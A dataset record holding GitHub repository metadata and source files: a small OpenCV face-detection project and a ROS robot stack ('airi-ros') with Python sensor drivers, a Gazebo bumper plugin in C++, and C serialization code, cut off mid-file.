/home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/${s}_${i}_surf.label \\\n\t\t\t--regmethod surface --hemi lh ;\n\tdone\n" } ]
7
VaibhavRajpoot/pyprojectopencv
https://github.com/VaibhavRajpoot/pyprojectopencv
59c8ff78034c621d107b1a05c80cc03d05a493ff
5abf3c9323a72ab91534cdae9e61780f843063c0
1ba34ff19fedb7a83838907367d0bab33e98ed3b
refs/heads/master
2023-03-13T07:14:07.985047
2021-03-06T19:17:15
2021-03-06T19:17:15
345,176,794
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7676056623458862, "alphanum_fraction": 0.7887324094772339, "avg_line_length": 19.428571701049805, "blob_id": "6d49b20571f377577180d3e1eb6d32e546df4f17", "content_id": "cb683222db3072826632e268101fdd5392e7c65e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 142, "license_type": "no_license", "max_line_length": 37, "num_lines": 7, "path": "/venv/dlibfacedetect.py", "repo_name": "VaibhavRajpoot/pyprojectopencv", "src_encoding": "UTF-8", "text": "import cv2\nfrom mtcnn.mtcnn import MTCNN\n\ndetector=MTCNN()\nvid=cv2.imread(\"resources/img_1.png\")\nfaces=detector.detect_faces(vid)\nprint(faces)" }, { "alpha_fraction": 0.6299999952316284, "alphanum_fraction": 0.6714285612106323, "avg_line_length": 22.100000381469727, "blob_id": "45c82799611a69c4dc46be88ad6a330647fa8e48", "content_id": "180b24981fead1e00ab33b58fc1ed2f2d4332e88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 700, "license_type": "no_license", "max_line_length": 74, "num_lines": 30, "path": "/facedetect.py", "repo_name": "VaibhavRajpoot/pyprojectopencv", "src_encoding": "UTF-8", "text": "import cv2\nimport os\nfacecascade=cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\nvid=cv2.VideoCapture(\"tenet opencv.avi\")\nfourcc=cv2.VideoWriter_fourcc(*'MPEG')\n\nout=cv2.VideoWriter(\"v12.avi\",fourcc,20,(int(vid.get(3)),int(vid.get(4))))\n\nwhile True:\n sucess,frames=vid.read()\n if not sucess:\n print(\"frames not read exiting\")\n\n imgray=cv2.cvtColor(frames,cv2.COLOR_BGR2GRAY)\n faces=facecascade.detectMultiScale(imgray,1.1,4)\n for(x,y,w,h) in faces:\n cv2.rectangle(frames,(x,y),(x+w,y+h),(0,0,200),2)\n\n out.write(frames)\n cv2.imshow(\"video\",frames)\n\n\n\n if cv2.waitKey(1)& 0xff==ord(\" \"):\n break\n\n\n\nvid.release()\ncv2.destroyAllWindows()\n\n\n\n\n\n\n\n" } ]
2
hidmic/airi-ros
https://github.com/hidmic/airi-ros
f2846eb45510669a87afd76062826aa2567b61d8
7847c68e07147e9174e1e0e673c269c044491517
25866827af2bafc756b2b42f57d50f9ac50c85f6
refs/heads/master
2023-02-14T19:40:12.113133
2021-01-07T02:14:47
2021-01-07T02:14:47
183,937,062
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6422535181045532, "alphanum_fraction": 0.6485915780067444, "avg_line_length": 40.144927978515625, "blob_id": "6e19a169df20c46fe374a1331a9c7a168415d2c5", "content_id": "feb31fe31f3406920c1f9684bf80674f2e78362a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2840, "license_type": "no_license", "max_line_length": 106, "num_lines": 69, "path": "/airi_base_py/airi_base/drivers/bumper_driver.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "import rospy\n\nimport airi_msgs\nimport geometry_msgs\n\nimport numpy as np\nimport resource_retriever\nimport stl\n\nimport urdf_parser_py.urdf\n\nfrom udp_driver import BumperDriver\n\n\nclass BumperDriver(UDPDriver):\n\n def __init__(self, name='~bumper_driver'):\n super(BumperDriver, self).__init__(name)\n self._bumper_frame = rospy.get_param(rospy.resolve_name('~bumper_frame', name), 'bumper_link')\n self._bumper_contact_publisher = rospy.Publisher(\n 'bumper/contacts', airi_msgs.msg.Bumper, queue_size=1\n )\n self._bumper_collision_publisher = rospy.Publisher(\n 'bumper/collisions', geometry_msgs.msg.PointCloud, queue_size=1\n )\n\n robot_description = urdf_parser_py.urdf.Robot.from_parameter_server()\n assert self._bumper_frame in robot_description.link_map, \\\n \"'{}' frame not found in robot description\".format(self._bumper_frame)\n bumper_geometry = robot_description.link_map[self._bumper_frame].collision.geometry\n assert isinstance(bumper_geometry, urdf_parser_py.urdf.Mesh), 'Only mesh collisions are supported'\n mesh_uri = resource_retriever.get_filename(bumper_geometry.filename)\n with resource_retriever.urlopen(mesh_uri) as fh:\n mesh = stl.mesh.Mesh.load(fh)\n\n mesh_scale = rospy.get_param(rospy.resolve_name('~scale', name), 1.)\n voxel_size = rospy.get_param(rospy.resolve_name('~level_of_detail', name), 0.01)\n\n centroids = mesh_scale * (mesh.v0 + mesh.v1 + mesh.v2) / 3\n centroids_voxels = np.round(centroids / voxel_size) # body centered voxel\n voxels = np.unique(centroids_voxels, axis=0)\n\n collision_msg = geometry_msgs.msg.PointCloud()\n collision_msg.header.frame_id = self._bumper_frame\n for voxel in voxels:\n voxel_centroid = np.mean(centroids[np.where((centroids_voxels == voxel).all(axis=1))], axis=0)\n point_msg = geometry_msgs.msg.Point32()\n point_msg.x = voxel_centroid[0]\n point_msg.y = voxel_centroid[1]\n point_msg.z = voxel_centroid[2]\n collision_msg.points.append(point_msg)\n self._bumper_collision_msg = collision_msg\n\n def handle_data(self, data):\n now = rospy.get_rostime()\n try:\n left_contact, right_contact = data\n except TypeError, ValueError:\n rospy.logerr('%s got unexpected bumper data: %!s', self.name, data)\n return\n\n bumper_msg = airi_msgs.msg.Bumper()\n bumper_msg.left_contact = left_contact\n bumper_msg.right_contact = right_contact\n self._bumper_contact_publisher.publish(bumper_msg)\n\n if left_contact or right_contact:\n self._bumper_collision_msg.stamp = now\n self._bumper_collision_publisher.publish(self._bumper_collision_msg)\n\n" }, { "alpha_fraction": 0.6276183128356934, "alphanum_fraction": 0.6353762745857239, "avg_line_length": 32.02564239501953, "blob_id": "83af61538bf0866f3326e49fc4fafd3e14ce47d0", "content_id": "a2e7e05c085dc5270c431713fbb646e4ec846fe3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1289, "license_type": "no_license", "max_line_length": 86, "num_lines": 39, "path": "/airi_base_py/airi_base/drivers/two_wheel_drive_controller.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "\nimport rospy\n\nimport std_msgs\n\nfrom udp_driver import UDPDriver\n\n\nclass TwoWheelDriveController(UDPDriver):\n\n def __init__(self, name, *args, **kwargs):\n super(TwoWheelDriveController, self).__init__(name, *args, **kwargs)\n self._left_encoder_pulses_publisher = rospy.Publisher(\n 'encoders/left/pulses', std_msgs.msg.Int32, queue_size=1\n )\n self._right_encoder_pulses_publisher = rospy.Publisher(\n 'encoders/right/pulses', std_msgs.msg.Int32, queue_size=1\n )\n\n def drive(self, left_wheel_pps, right_wheel_pps):\n self.send_data([left_wheel_pps, right_wheel_pps])\n\n def handle_data(self, data):\n try:\n left_encoder_pulses, right_encoder_pulses = data\n except TypeError, ValueError:\n rospy.logerr(\"%s got unexpected wheel drive data: '%!s'\", self.name, data)\n return\n self.on_encoder_data(left_encoder_pulses, right_encoder_pulses)\n\n self._left_encoder_pulses_publisher.publish(\n std_msgs.msg.Int32(data=left_encoder_pulses)\n )\n\n self._right_encoder_pulses_publisher.publish(\n std_msgs.msg.Int32(data=right_encoder_pulses)\n )\n\n def on_encoder_data(self, left_encoder_pulses, right_encoder_pulses):\n pass\n" }, { "alpha_fraction": 0.643048107624054, "alphanum_fraction": 0.6771390438079834, "avg_line_length": 40.52777862548828, "blob_id": "7dd6e4a9b77775b76dfafff94f3a805793f9df62", "content_id": "9fc1bb2d27dedb39fe0f9427af37c8a2b51820f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1496, "license_type": "no_license", "max_line_length": 98, "num_lines": 36, "path": "/airi_base_py/airi_base/drivers/mpu6050_driver.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "\nimport math\n\nimport rospy\nimport sensor_msgs\n\nfrom udp_driver import UDPDriver\n\n\nclass MPU6050Driver(UDPDriver):\n\n GYROSCOPE_MEASUREMENTS_SCALE_FACTOR = math.pi / (180. * 32.768)\n ACCELEROMETER_MEASUREMENTS_SCALE_FACTOR = 9.80665 / 4096\n\n def __init__(self, name='~imu_driver'):\n super(MPU6050Driver, self).__init__(name)\n self._imu_frame = rospy.get_param(rospy.resolve_name('~imu_frame', name), 'imu_link')\n self._imu_publisher = rospy.Publisher('imu', sensor_msgs.msg.Imu, queue_size=1)\n\n def handle_data(self, data):\n try:\n (ax, ay, az), (wx, wy, wz) = data\n except TypeError, ValueError:\n rospy.logerr('Got unexpected IMU data: %!s', data)\n return\n\n imu_msg = sensor_msgs.msg.Imu()\n imu_msg.header.stamp = rospy.get_rostime()\n imu_msg.header.frame_id = self._imu_frame\n imu_msg.angular_velocity.x = wx * MPU6050Driver.GYROSCOPE_MEASUREMENTS_SCALE_FACTOR\n imu_msg.angular_velocity.y = wy * MPU6050Driver.GYROSCOPE_MEASUREMENTS_SCALE_FACTOR\n imu_msg.angular_velocity.z = wz * MPU6050Driver.GYROSCOPE_MEASUREMENTS_SCALE_FACTOR\n imu_msg.linear_acceleration.x = ax * MPU6050Driver.ACCELEROMETER_MEASUREMENTS_SCALE_FACTOR\n imu_msg.linear_acceleration.y = ay * MPU6050Driver.ACCELEROMETER_MEASUREMENTS_SCALE_FACTOR\n imu_msg.linear_acceleration.z = az * MPU6050Driver.ACCELEROMETER_MEASUREMENTS_SCALE_FACTOR\n\n self._imu_publisher.publish(imu_msg)\n" }, { "alpha_fraction": 0.6591675877571106, "alphanum_fraction": 0.6647918820381165, "avg_line_length": 36.04166793823242, "blob_id": "6ec13bb4375bfac0ad5bc979601b910ae6633ad6", "content_id": "4671e3199f4c9f9274e6f94d78af97fda4b6ce23", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1778, "license_type": "permissive", "max_line_length": 88, "num_lines": 48, "path": "/airi_base_cpp/uccn/src/drive_command_typesupport.c", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#include \"airi/uccn.h\"\n\n#include \"mpack/mpack.h\"\n\nstatic void *drive_command_allocate(const struct uccn_record_typesupport_s * ts) {\n static struct airi_uccn_drive_command_s buffer;\n (void)ts;\n return &buffer;\n}\n\nstatic ssize_t drive_command_serialize(const struct uccn_record_typesupport_s * ts,\n struct airi_uccn_drive_command_s * content,\n struct buffer_head_s * blob) {\n mpack_writer_t writer;\n (void)ts;\n mpack_writer_init(&writer, blob->data, blob->size);\n mpack_write_i32(&writer, content->left_wheel.velocity);\n mpack_write_i32(&writer, content->right_wheel.velocity);\n blob->length = mpack_writer_buffer_used(&writer);\n if (mpack_writer_destroy(&writer) != mpack_ok) {\n return -1;\n }\n return blob->length;\n}\n\nstatic ssize_t drive_command_deserialize(const struct uccn_record_typesupport_s * ts,\n const struct buffer_head_s * blob,\n struct airi_uccn_drive_command_s * content) {\n mpack_reader_t reader;\n (void)ts;\n mpack_reader_init_data(&reader, blob->data, blob->length);\n content->left_wheel.velocity = mpack_expect_i32(&reader);\n content->right_wheel.velocity = mpack_expect_i32(&reader);\n if (mpack_reader_destroy(&reader) != mpack_ok) {\n return -1;\n }\n return blob->length;\n}\n\nstatic const struct uccn_record_typesupport_s g_drive_command_typesupport = {\n .allocate = (uccn_record_allocate_fn)drive_command_allocate,\n .serialize = (uccn_record_serialize_fn)drive_command_serialize,\n .deserialize = (uccn_record_deserialize_fn)drive_command_deserialize,\n};\n\nconst struct uccn_record_typesupport_s * get_airi_uccn_drive_command_typesupport(void) {\n return &g_drive_command_typesupport;\n}\n" }, { "alpha_fraction": 0.7598039507865906, "alphanum_fraction": 0.7647058963775635, "avg_line_length": 23, "blob_id": "f26e73b573d382720e149ac15b74193817f1d196", "content_id": "a86ec59f420b0af878e6815108efd0fc90cb4dab", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 408, "license_type": "permissive", "max_line_length": 69, "num_lines": 17, "path": "/airi_base_cpp/uccn/CMakeLists.txt", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 3.5)\nproject(airi-uccn)\n\nadd_subdirectory(uccn)\n\nadd_library(${PROJECT_NAME}\n src/drive_command_typesupport.c\n src/drive_state_typesupport.c\n)\n\ntarget_compile_options(${PROJECT_NAME} PRIVATE -Wall -Wextra -Werror)\n\ntarget_include_directories(${PROJECT_NAME}\n PUBLIC $<BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}/include>\n)\n\ntarget_link_libraries(${PROJECT_NAME} uccn mpack)\n" }, { "alpha_fraction": 0.6221510171890259, "alphanum_fraction": 0.6290160417556763, "avg_line_length": 37.60424041748047, "blob_id": "9fad2773386980d925d100e78952fa3cb0d4d9c7", "content_id": "3ecd6f8af9b1d0135b3356faa101fff1b4b2d839", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10925, "license_type": "no_license", "max_line_length": 109, "num_lines": 283, "path": "/airi_description/plugins/airi_bumper_plugin.cpp", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "/*\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n*/\n\n#include <map>\n#include <set>\n#include <string>\n\n#include <gazebo/msgs/msgs.hh>\n#include <gazebo/common/Exception.hh>\n#include <gazebo/common/Plugin.hh>\n\n#include <gazebo/physics/physics.hh>\n#include <gazebo/physics/Contact.hh>\n#include <gazebo/physics/Entity.hh>\n#include <gazebo/physics/World.hh>\n\n#include <gazebo/sensors/sensors.hh>\n#include <gazebo/sensors/ContactSensor.hh>\n#include <gazebo/sensors/SensorTypes.hh>\n\n#include <gazebo_plugins/gazebo_ros_utils.h>\n\n#include <ignition/common/MeshManager.hh>\n#include <ignition/common/Mesh.hh>\n#include <ignition/common/SubMesh.hh>\n\n#include <ignition/math/Vector3.hh>\n\n#include <ros/ros.h>\n\n#include <sdf/sdf.hh>\n\n#include <pcl/filters/voxel_grid.h>\n#include <pcl_conversions/pcl_conversions.h>\n\n#include <sensor_msgs/point_cloud_conversion.h>\n#include <sensor_msgs/point_cloud2_iterator.h>\n#include <sensor_msgs/PointCloud.h>\n#include <sensor_msgs/PointCloud2.h>\n\nnamespace airi\n{\nnamespace plugins\n{\n\nclass BumperPlugin : public gazebo::SensorPlugin\n{\npublic:\n void Load(gazebo::sensors::SensorPtr parent, sdf::ElementPtr sdf)\n {\n GAZEBO_SENSORS_USING_DYNAMIC_POINTER_CAST;\n sensor_ = dynamic_pointer_cast<gazebo::sensors::ContactSensor>(parent);\n if (!sensor_) {\n ROS_FATAL_NAMED(sensor_->Name(), \"Plugin not attached to a contact sensor\");\n return;\n }\n\n gazebo::physics::WorldPtr world = gazebo::physics::get_world(sensor_->WorldName());\n link_ = dynamic_pointer_cast<gazebo::physics::Link>(world->EntityByName(sensor_->ParentName()));\n if (!link_) {\n ROS_FATAL_STREAM_NAMED(sensor_->Name(), \"Parent '\" << sensor_->ParentName() << \"' is not a link.\");\n return;\n }\n\n if (sdf->HasElement(\"displacement_axis\")) {\n displacement_axis_ = sdf->GetElement(\"displacement_axis\")->Get<ignition::math::Vector3d>().Normalize();\n } else {\n ROS_WARN_NAMED(sensor_->Name(), \"No displacement axis was specified, using default.\");\n }\n ROS_INFO_STREAM_NAMED(sensor_->Name(), \"Using [\" << displacement_axis_ << \"] as displacement axis\");\n\n if (sdf->HasElement(\"contact_offset\")) {\n contact_offset_ = sdf->GetElement(\"contact_offset\")->Get<double>();\n } else {\n ROS_WARN_NAMED(sensor_->Name(), \"No contact offset was specified, using default.\");\n }\n ROS_INFO_STREAM_NAMED(sensor_->Name(), \"Using \" << contact_offset_ << \" as contact offset\");\n\n if (sdf->HasElement(\"sample_grid\")) {\n sample_grid_ = sdf->GetElement(\"sample_grid\")->Get<ignition::math::Vector3d>();\n ROS_INFO_STREAM_NAMED(sensor_->Name(), \"Using [\" << sample_grid_ << \"] as sample grid.\");\n } else {\n ROS_WARN_NAMED(sensor_->Name(), \"No sample grid was specified, using all vertices.\");\n }\n\n if (!ros::isInitialized()) {\n ROS_FATAL_STREAM_NAMED(sensor_->Name(), \"A ROS node for Gazebo has not been initialized, \"\n << \"unable to load plugin. Load the Gazebo system plugin \"\n << \"('libgazebo_ros_api_plugin.so' in the gazebo_ros package)\");\n return;\n }\n nh_.reset(new ros::NodeHandle());\n\n if (sdf->HasElement(\"topic\")) {\n topic_name_ = sdf->GetElement(\"topic\")->Get<std::string>();\n } else {\n ROS_WARN_NAMED(sensor_->Name(), \"No topic name was specified, using default.\");\n }\n\n ROS_INFO_STREAM_NAMED(sensor_->Name(), \"Publishing collisions to \" << topic_name_);\n\n if (sdf->HasElement(\"version\")) {\n version_ = sdf->GetElement(\"version\")->Get<int>();\n if (version_ != 1 && version_ != 2) {\n gzthrow(sensor_->Name() << \" was configured with an unsupported version: \" << version_);\n }\n } else {\n ROS_WARN_NAMED(sensor_->Name(), \"No version was specified, using default.\");\n }\n\n ROS_INFO_STREAM_NAMED(sensor_->Name(), \"Using version \" << topic_name_);\n\n if (version_ == 1) {\n pub_ = nh_->advertise<sensor_msgs::PointCloud>(topic_name_, 1);\n } else {\n pub_ = nh_->advertise<sensor_msgs::PointCloud2>(topic_name_, 1);\n }\n\n world_update_connection_ =\n gazebo::event::Events::ConnectWorldUpdateBegin(std::bind(&BumperPlugin::OnWorldUpdate, this));\n }\n\n void OnWorldUpdate() {\n auto * manager = gazebo::common::MeshManager::Instance();\n const std::string collision_namespace = link_->GetScopedName() + \"::\";\n for (auto i = 0; i < sensor_->GetCollisionCount(); ++i) {\n std::string collision_name = sensor_->GetCollisionName(i);\n if (collision_name.substr(0, collision_namespace.size()) == collision_namespace) {\n collision_name.erase(0, collision_namespace.size());\n }\n gazebo::physics::CollisionPtr collision = link_->GetCollision(collision_name);\n if (!collision) {\n ROS_FATAL_STREAM_NAMED(sensor_->Name(), \"'\" << collision_name\n << \"' collision geometry not found.\");\n world_update_connection_.reset();\n return;\n }\n auto shape = collision->GetShape();\n if (!shape->HasType(gazebo::physics::Shape::MESH_SHAPE)) {\n ROS_FATAL_STREAM_NAMED(sensor_->Name(), \"'\" << collision->GetName()\n << \"' collision geometry is not a mesh.\");\n world_update_connection_.reset();\n return;\n }\n GAZEBO_SENSORS_USING_DYNAMIC_POINTER_CAST;\n auto mesh_shape = dynamic_pointer_cast<gazebo::physics::MeshShape>(shape);\n\n const gazebo::common::Mesh * mesh = manager->GetMesh(mesh_shape->GetMeshURI());\n assert(mesh != nullptr);\n\n unsigned int num_points = 0;\n std::map<unsigned int, std::vector<unsigned int>> indices_per_submesh;\n for (auto i = 0; i < mesh->GetSubMeshCount(); ++i) {\n const gazebo::common::SubMesh * submesh = mesh->GetSubMesh(i);\n assert(submesh != nullptr);\n for (auto j = 0; j < submesh->GetIndexCount(); ++j) {\n unsigned int index = submesh->GetIndex(j);\n if (submesh->Normal(index).Dot(displacement_axis_) > 0) {\n indices_per_submesh[i].push_back(index);\n num_points++;\n }\n }\n }\n\n sensor_msgs::PointCloud2 & cloud =\n sampled_collisions_[collision->GetScopedName()];\n cloud.height = 1;\n\n sensor_msgs::PointCloud2Modifier modifier(cloud);\n modifier.setPointCloud2Fields(3,\n \"x\", 1, sensor_msgs::PointField::FLOAT32,\n \"y\", 1, sensor_msgs::PointField::FLOAT32,\n \"z\", 1, sensor_msgs::PointField::FLOAT32);\n modifier.resize(num_points);\n\n sensor_msgs::PointCloud2Iterator<float> iter_x(cloud, \"x\");\n sensor_msgs::PointCloud2Iterator<float> iter_y(cloud, \"y\");\n sensor_msgs::PointCloud2Iterator<float> iter_z(cloud, \"z\");\n const ignition::math::Vector3d scale = mesh_shape->Size();\n const ignition::math::Pose3d link_to_collision_transform = collision->RelativePose();\n for (const auto & kv : indices_per_submesh) {\n const gazebo::common::SubMesh * submesh = mesh->GetSubMesh(kv.first);\n for (const auto index : kv.second) {\n const ignition::math::Vector3d vertex =\n link_to_collision_transform.CoordPositionAdd(scale * submesh->Vertex(index) +\n displacement_axis_ * contact_offset_);\n *iter_x = vertex.X(); *iter_y = vertex.Y(); *iter_z = vertex.Z();\n ++iter_x; ++iter_y; ++iter_z;\n }\n }\n\n if (sample_grid_ != ignition::math::Vector3d::Zero) {\n pcl::PCLPointCloud2::Ptr pcl_cloud(new pcl::PCLPointCloud2());\n pcl_conversions::moveToPCL(cloud, *pcl_cloud);\n pcl::VoxelGrid<pcl::PCLPointCloud2> grid;\n grid.setInputCloud(pcl_cloud);\n grid.setLeafSize(sample_grid_.X(), sample_grid_.Y(), sample_grid_.Z());\n pcl::PCLPointCloud2 pcl_cloud_filtered;\n grid.filter(pcl_cloud_filtered);\n pcl_conversions::moveFromPCL(pcl_cloud_filtered, cloud);\n }\n }\n\n sensor_update_connection_ =\n sensor_->ConnectUpdated(std::bind(&BumperPlugin::OnSensorUpdate, this));\n sensor_->SetActive(true);\n\n world_update_connection_.reset();\n }\n\n void OnSensorUpdate() {\n sensor_msgs::PointCloud2 cloud;\n sensor_msgs::PointCloud2Modifier modifier(cloud);\n modifier.setPointCloud2Fields(3,\n \"x\", 1, sensor_msgs::PointField::FLOAT32,\n \"y\", 1, sensor_msgs::PointField::FLOAT32,\n \"z\", 1, sensor_msgs::PointField::FLOAT32);\n cloud.height = cloud.width = 0;\n\n std::set<std::string> active_collisions;\n const gazebo::msgs::Contacts contacts = sensor_->Contacts();\n for (auto i = 0; i < contacts.contact_size(); ++i) {\n const gazebo::msgs::Contact & contact = contacts.contact(i);\n auto it = sampled_collisions_.find(contact.collision1());\n if (it == sampled_collisions_.end()) {\n it = sampled_collisions_.find(contact.collision2());\n assert(it != sampled_collisions_.end());\n }\n const std::string & name = it->first;\n if (active_collisions.count(name) == 0U) {\n const sensor_msgs::PointCloud2 & sampled_collision = it->second;\n assert(pcl::concatenatePointCloud(cloud, sampled_collision, cloud));\n active_collisions.insert(name);\n }\n }\n cloud.header.frame_id = link_->GetName();\n cloud.header.stamp.sec = contacts.time().sec();\n cloud.header.stamp.nsec = contacts.time().nsec();\n\n if (version_ == 1) {\n sensor_msgs::PointCloud equivalent_cloud;\n sensor_msgs::convertPointCloud2ToPointCloud(cloud, equivalent_cloud);\n pub_.publish(equivalent_cloud);\n } else {\n pub_.publish(cloud);\n }\n }\n\nprivate:\n ros::NodeHandlePtr nh_;\n ros::Publisher pub_;\n\n gazebo::physics::LinkPtr link_;\n gazebo::sensors::ContactSensorPtr sensor_;\n\n int version_{2};\n std::string topic_name_{\"bumper/collisions\"};\n double contact_offset_{0.};\n ignition::math::Vector3d displacement_axis_{ignition::math::Vector3d::UnitX};\n ignition::math::Vector3d sample_grid_{ignition::math::Vector3d::Zero};\n std::map<std::string, sensor_msgs::PointCloud2> sampled_collisions_;\n\n gazebo::event::ConnectionPtr sensor_update_connection_;\n gazebo::event::ConnectionPtr world_update_connection_;\n};\n\nGZ_REGISTER_SENSOR_PLUGIN(BumperPlugin)\n\n} // namespace plugins\n\n} // namespace airi\n" }, { "alpha_fraction": 0.5727047324180603, "alphanum_fraction": 0.585111677646637, "avg_line_length": 40.97916793823242, "blob_id": "dea85528edf600664e182ae51106ec257b8267a0", "content_id": "aff3605e4c72e8cc2543a23176c6c222ad9b98c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2015, "license_type": "no_license", "max_line_length": 103, "num_lines": 48, "path": "/airi_base_py/airi_base/drivers/hcsr04_ring_driver.py", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "import rospy\n\nimport sensor_msgs\n\nfrom udp_driver import UDPDriver\n\n\nclass HCSR04SonarRingDriver(UDPDriver):\n\n RANGE_UNITS_TO_M_SCALE_FACTOR = 1.0 / 58000\n\n def __init__(self, name='~sonar_ring_driver'):\n super(UDPDriver, self).__init__(name)\n self._sonar_topics = rospy.get_param(rospy.resolve_name('~sonar_topics', name), ['sonar'])\n self._sonar_frames = rospy.get_param(rospy.resolve_name('~sonar_frames', name), ['sonar_link'])\n if len(self._sonar_topics) != len(self._sonar_frames):\n raise RuntimeError(\n \"Sonar topics' count ({}) and frames' count ({}) for {} do not match\".format(\n len(self._sonar_topics), len(self._sonar_frames), self.name\n )\n )\n self._range_publishers = [\n rospy.Publisher(topic, sensor_msgs.msg.Range, queue_size=1) for topic in self._sonar_topics\n ]\n\n def incoming_data(self, data):\n try:\n measured_ranges = [r * HCSR04SonarRingDriver.RANGE_UNITS_TO_M_SCALE_FACTOR for r in data]\n except (TypeError, ValueError):\n rospy.logerr('%s got unexpected range data: %!s', self.name, data)\n return\n if len(measured_ranges) != len(self._range_publishers):\n rospy.logwarn(\n '%s expected %d range readings, got %d', self.name,\n len(self._range_publishers), len(measured_ranges)\n )\n for publisher, frame, measured_range in zip(\n self._range_publishers, self._sonar_frames, measured_ranges\n ):\n sonar_msg = sensor_msgs.msg.Range()\n sonar_msg.header.stamp = rospy.get_rostime()\n sonar_msg.header.frame_id = frame\n sonar_msg.radiation_type = sensor_msgs.msg.Range.ULTRASOUND\n sonar_msg.fov = 30.0 * math.pi / 180.0\n sonar_msg.min_range = 0.02\n sonar_msg.max_range = 2.00\n sonar_msg.range = measured_range\n publisher.publish(sonar_msg)\n" }, { "alpha_fraction": 0.8041236996650696, "alphanum_fraction": 0.8041236996650696, "avg_line_length": 31.33333396911621, "blob_id": "4eed8e25da25b63f77f42b96bf711e44b8bff28b", "content_id": "b8dea2ad3c9a9aa061c5aafaf739887d7876e5c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 97, "license_type": "no_license", "max_line_length": 84, "num_lines": 3, "path": "/README.md", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "# airi-ros\n\nEste repositorio comprende todos los paquetes de ROS necesarios para que AIRI opere.\n" }, { "alpha_fraction": 0.6536197662353516, "alphanum_fraction": 0.668775737285614, "avg_line_length": 34.76315689086914, "blob_id": "e91015a2314046c5470cc42c566947a025929a73", "content_id": "7315bbbef1f957d4caea3ff13d71640466ee9be1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6796, "license_type": "no_license", "max_line_length": 93, "num_lines": 190, "path": "/airi_base_cpp/src/airi_diff_drive_controller.cpp", "repo_name": "hidmic/airi-ros", "src_encoding": "UTF-8", "text": "#include \"airi_base_cpp/airi_diff_drive_controller.hpp\"\n\n#include <sys/types.h>\n#include <ifaddrs.h>\n\n#include <cmath>\n#include <functional>\n#include <memory>\n#include <utility>\n#include <string>\n\n#include <ros/callback_queue.h>\n#include <tf2/LinearMath/Quaternion.h>\n\n#include <geometry_msgs/TransformStamped.h>\n#include <nav_msgs/Odometry.h>\n#include <std_msgs/Float64.h>\n#include <std_msgs/Int32.h>\n\nnamespace airi {\n\nnamespace base {\n\nnamespace {\n\n::uccn::network get_network(const std::string & interface) {\n struct ifaddrs * ifaddresses = NULL;\n if (getifaddrs(&ifaddresses) < 0) {\n throw std::system_error(errno, std::system_category(), strerror(errno));\n }\n std::unique_ptr<struct ifaddrs, void(*)(struct ifaddrs *)> guard(ifaddresses, freeifaddrs);\n for (struct ifaddrs * it = guard.get(); it != NULL; it = it->ifa_next) {\n if (it->ifa_addr->sa_family == AF_INET) {\n if (interface == it->ifa_name) {\n return ::uccn::network(((struct sockaddr_in *)it->ifa_addr)->sin_addr,\n ((struct sockaddr_in *)it->ifa_netmask)->sin_addr);\n }\n }\n }\n throw std::runtime_error(\"No '\" + interface + \"' found in the system\");\n}\n\n} // namespace\n\nDiffDriveController::DiffDriveController()\n : pnh_{\"~\"}, udrive_state_{\"/drive/state\"}, udrive_command_{\"/drive/command\"}\n{\n std::string interface;\n if (!pnh_.getParam(\"interface\", interface)) {\n throw std::runtime_error(\"No interface for uCCN was specified\");\n }\n\n wheel_base_ = pnh_.param(\"wheel_base\", 0.235);\n wheel_diameter_ = pnh_.param(\"wheel_diameter\", 0.096);\n odom_frame_id_ = pnh_.param<std::string>(\"odom_frame\", \"odom\");\n base_frame_id_ = pnh_.param<std::string>(\"base_frame\", \"base_footprint\");\n publish_tf_ = pnh_.param(\"publish_tf\", true);\n\n odom_pub_ = nh_.advertise<nav_msgs::Odometry>(\"odom\", 10);\n left_encoder_ticks_pub_ = nh_.advertise<std_msgs::Int32>(\"encoders/left/ticks\", 10);\n right_encoder_ticks_pub_ = nh_.advertise<std_msgs::Int32>(\"encoders/right/ticks\", 10);\n left_encoder_vel_pub_ = nh_.advertise<std_msgs::Float64>(\"encoders/left/velocity\", 10);\n right_encoder_vel_pub_ = nh_.advertise<std_msgs::Float64>(\"encoders/right/velocity\", 10);\n left_encoder_pos_pub_ = nh_.advertise<std_msgs::Float64>(\"encoders/left/position\", 10);\n right_encoder_pos_pub_ = nh_.advertise<std_msgs::Float64>(\"encoders/right/position\", 10);\n\n unode_ = std::make_unique<::uccn::node>(get_network(interface), ros::this_node::getName());\n\n 